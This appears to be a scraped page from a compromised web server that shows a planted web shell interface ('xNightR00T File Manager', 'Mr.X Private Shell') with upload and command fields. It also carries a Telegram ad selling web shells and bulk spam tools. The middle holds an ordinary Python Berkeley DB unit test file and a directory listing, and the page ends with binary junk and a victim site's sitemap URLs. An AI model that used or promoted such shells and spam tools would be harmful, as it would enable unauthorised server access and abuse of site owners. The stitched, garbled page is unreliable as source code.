xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
import unittest
import os, glob

from test_all import db, test_support, get_new_environment_path, \
        get_new_database_path

#----------------------------------------------------------------------

class DB(unittest.TestCase):
    def setUp(self):
        self.path = get_new_database_path()
        self.db = db.DB()

    def tearDown(self):
        self.db.close()
        del self.db
        test_support.unlink(self.path)

class DB_general(DB) :
    def test_get_open_flags(self) :
        self.db.open(self.path, dbtype=db.DB_HASH, flags = db.DB_CREATE)
        self.assertEqual(db.DB_CREATE, self.db.get_open_flags())

    def test_get_open_flags2(self) :
        self.db.open(self.path, dbtype=db.DB_HASH, flags = db.DB_CREATE |
                db.DB_THREAD)
        self.assertEqual(db.DB_CREATE | db.DB_THREAD, self.db.get_open_flags())

    def test_get_dbname_filename(self) :
        self.db.open(self.path, dbtype=db.DB_HASH, flags = db.DB_CREATE)
        self.assertEqual((self.path, None), self.db.get_dbname())

    def test_get_dbname_filename_database(self) :
        name = "jcea-random-name"
        self.db.open(self.path, dbname=name, dbtype=db.DB_HASH,
                flags = db.DB_CREATE)
        self.assertEqual((self.path, name), self.db.get_dbname())

        def test_bt_minkey(self) :
            for i in [17, 108, 1030] :
                self.db.set_bt_minkey(i)
                self.assertEqual(i, self.db.get_bt_minkey())

        def test_lorder(self) :
            self.db.set_lorder(1234)
            self.assertEqual(1234, self.db.get_lorder())
            self.db.set_lorder(4321)
            self.assertEqual(4321, self.db.get_lorder())
            self.assertRaises(db.DBInvalidArgError, self.db.set_lorder, 9182)

    if db.version() >= (4, 6) :
        def test_priority(self) :
            flags = [db.DB_PRIORITY_VERY_LOW, db.DB_PRIORITY_LOW,
                    db.DB_PRIORITY_DEFAULT, db.DB_PRIORITY_HIGH,
                    db.DB_PRIORITY_VERY_HIGH]
            for flag in flags :
                self.db.set_priority(flag)
                self.assertEqual(flag, self.db.get_priority())

    def test_get_transactional(self) :
        self.assertFalse(self.db.get_transactional())
        self.db.open(self.path, dbtype=db.DB_HASH, flags = db.DB_CREATE)
        self.assertFalse(self.db.get_transactional())

class DB_hash(DB) :
    def test_h_ffactor(self) :
        for ffactor in [4, 16, 256] :
            self.db.set_h_ffactor(ffactor)
            self.assertEqual(ffactor, self.db.get_h_ffactor())

    def test_h_nelem(self) :
        for nelem in [1, 2, 4] :
            nelem = nelem*1024*1024  # Millions
            self.db.set_h_nelem(nelem)
            self.assertEqual(nelem, self.db.get_h_nelem())

    def test_pagesize(self) :
        for i in xrange(9, 17) :  # From 512 to 65536
            i = 1<<i
            self.db.set_pagesize(i)
            self.assertEqual(i, self.db.get_pagesize())

        # The valid values goes from 512 to 65536
        # Test 131072 bytes...
        self.assertRaises(db.DBInvalidArgError, self.db.set_pagesize, 1<<17)
        # Test 256 bytes...
        self.assertRaises(db.DBInvalidArgError, self.db.set_pagesize, 1<<8)

class DB_txn(DB) :
    def setUp(self) :
        self.homeDir = get_new_environment_path()
        self.env = db.DBEnv()
        self.env.open(self.homeDir, db.DB_CREATE | db.DB_INIT_MPOOL |
                db.DB_INIT_LOG | db.DB_INIT_TXN)
        self.db = db.DB(self.env)

    def tearDown(self) :
        self.db.close()
        del self.db
        self.env.close()
        del self.env
        test_support.rmtree(self.homeDir)

        def test_flags(self) :
            self.db.set_flags(db.DB_CHKSUM)
            self.assertEqual(db.DB_CHKSUM, self.db.get_flags())
            self.db.set_flags(db.DB_TXN_NOT_DURABLE)
            self.assertEqual(db.DB_TXN_NOT_DURABLE | db.DB_CHKSUM,
                    self.db.get_flags())

    def test_get_transactional(self) :
        self.assertFalse(self.db.get_transactional())
        # DB_AUTO_COMMIT = Implicit transaction
        self.db.open("XXX", dbtype=db.DB_HASH,
                flags = db.DB_CREATE | db.DB_AUTO_COMMIT)
        self.assertTrue(self.db.get_transactional())

class DB_recno(DB) :
    def test_re_pad(self) :
        for i in [' ', '*'] :  # Check chars
            self.db.set_re_pad(i)
            self.assertEqual(ord(i), self.db.get_re_pad())
        for i in [97, 65] :  # Check integers
            self.db.set_re_pad(i)
            self.assertEqual(i, self.db.get_re_pad())

    def test_re_delim(self) :
        for i in [' ', '*'] :  # Check chars
            self.db.set_re_delim(i)
            self.assertEqual(ord(i), self.db.get_re_delim())
        for i in [97, 65] :  # Check integers
            self.db.set_re_delim(i)
            self.assertEqual(i, self.db.get_re_delim())

    def test_re_source(self) :
        for i in ["test", "test2", "test3"] :
            self.db.set_re_source(i)
            self.assertEqual(i, self.db.get_re_source())

class DB_queue(DB) :
    def test_re_len(self) :
        for i in [33, 65, 300, 2000] :
            self.db.set_re_len(i)
            self.assertEqual(i, self.db.get_re_len())

    def test_q_extentsize(self) :
        for i in [1, 60, 100] :
            self.db.set_q_extentsize(i)
            self.assertEqual(i, self.db.get_q_extentsize())

def test_suite():
    suite = unittest.TestSuite()

    suite.addTest(unittest.makeSuite(DB_general))
    suite.addTest(unittest.makeSuite(DB_txn))
    suite.addTest(unittest.makeSuite(DB_hash))
    suite.addTest(unittest.makeSuite(DB_recno))
    suite.addTest(unittest.makeSuite(DB_queue))

    return suite

if __name__ == '__main__':
    unittest.main(defaultTest='test_suite')

Filemanager

Name Type Size Permission Actions
__init__.py File 0 B 0644
__init__.pyc File 130 B 0644
__init__.pyo File 130 B 0644
test_all.py File 19.01 KB 0644
test_all.pyc File 24.24 KB 0644
test_all.pyo File 24.24 KB 0644
test_associate.py File 15.32 KB 0644
test_associate.pyc File 20.14 KB 0644
test_associate.pyo File 20.14 KB 0644
test_basics.py File 35.4 KB 0644
test_basics.pyc File 33.32 KB 0644
test_basics.pyo File 33.32 KB 0644
test_compare.py File 14.79 KB 0644
test_compare.pyc File 19.28 KB 0644
test_compare.pyo File 19.28 KB 0644
test_compat.py File 4.43 KB 0644
test_compat.pyc File 5.3 KB 0644
test_compat.pyo File 5.3 KB 0644
test_cursor_pget_bug.py File 1.83 KB 0644
test_cursor_pget_bug.pyc File 2.6 KB 0644
test_cursor_pget_bug.pyo File 2.6 KB 0644
test_db.py File 5.66 KB 0644
test_db.pyc File 8.58 KB 0644
test_db.pyo File 8.58 KB 0644
test_dbenv.py File 18.78 KB 0644
test_dbenv.pyc File 21.78 KB 0644
test_dbenv.pyo File 21.78 KB 0644
test_dbobj.py File 2.35 KB 0644
test_dbobj.pyc File 3.35 KB 0644
test_dbobj.pyo File 3.35 KB 0644
test_dbshelve.py File 11.42 KB 0644
test_dbshelve.pyc File 13.95 KB 0644
test_dbshelve.pyo File 13.95 KB 0644
test_dbtables.py File 14.98 KB 0644
test_dbtables.pyc File 11.49 KB 0644
test_dbtables.pyo File 11.49 KB 0644
test_distributed_transactions.py File 4.76 KB 0644
test_distributed_transactions.pyc File 5.53 KB 0644
test_distributed_transactions.pyo File 5.53 KB 0644
test_early_close.py File 7.27 KB 0644
test_early_close.pyc File 6.66 KB 0644
test_early_close.pyo File 6.66 KB 0644
test_fileid.py File 1.79 KB 0644
test_fileid.pyc File 2.37 KB 0644
test_fileid.pyo File 2.37 KB 0644
test_get_none.py File 2.24 KB 0644
test_get_none.pyc File 2.82 KB 0644
test_get_none.pyo File 2.82 KB 0644
test_join.py File 3.09 KB 0644
test_join.pyc File 3.54 KB 0644
test_join.pyo File 3.54 KB 0644
test_lock.py File 6.44 KB 0644
test_lock.pyc File 5.94 KB 0644
test_lock.pyo File 5.94 KB 0644
test_misc.py File 4.73 KB 0644
test_misc.pyc File 5.06 KB 0644
test_misc.pyo File 5.06 KB 0644
test_pickle.py File 1.93 KB 0644
test_pickle.pyc File 2.75 KB 0644
test_pickle.pyo File 2.75 KB 0644
test_queue.py File 3.92 KB 0644
test_queue.pyc File 3.9 KB 0644
test_queue.pyo File 3.9 KB 0644
test_recno.py File 8.55 KB 0644
test_recno.pyc File 7.61 KB 0644
test_recno.pyo File 7.61 KB 0644
test_replication.py File 19.82 KB 0644
test_replication.pyc File 15.27 KB 0644
test_replication.pyo File 15.27 KB 0644
test_sequence.py File 5.15 KB 0644
test_sequence.pyc File 6.56 KB 0644
test_sequence.pyo File 6.56 KB 0644
test_thread.py File 15.54 KB 0644
test_thread.pyc File 14.97 KB 0644
test_thread.pyo File 14.97 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml